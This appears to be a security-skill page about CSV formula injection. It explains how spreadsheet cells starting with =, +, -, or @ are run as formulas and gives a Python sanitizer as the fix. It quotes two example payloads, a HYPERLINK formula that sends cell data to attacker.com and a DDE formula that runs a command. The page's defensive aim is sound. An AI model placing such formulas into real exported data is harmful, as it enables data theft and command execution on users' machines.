CSV / Formula Injection (Spreadsheet Injection)

Detects user-controlled data written to CSV files without sanitization, enabling formula injection in spreadsheet applications.

zakirkun 38fe583 2 files · 2.7 KB Updated

File contents

CSV / Formula Injection

Overview

When user-controlled data is exported to CSV and a user opens it in Excel/LibreOffice, cells beginning with =, +, -, or @ are interpreted as formulas. Attackers can inject:

  • =HYPERLINK("https://attacker.com?d="&A1,"Click here") — exfiltrates data
  • =cmd|' /c calc.exe'!A0 — executes arbitrary commands (DDE attack)

This affects any application that exports CSV without sanitizing cell values.

Remediation

Prefix dangerous characters with a single quote or tab, or wrap in double quotes:

def sanitize_csv(value):
    if str(value).startswith(('=', '+', '-', '@', '\t', '\r')):
        return "'" + str(value)
    return value

zakirkun/ice-tea/tree/main/skills/injection/csv-injection commit 38fe5834e3

Frequently asked questions

npx skillmds@latest add zakirkun/csv-formula-injection-spreadsheet-injection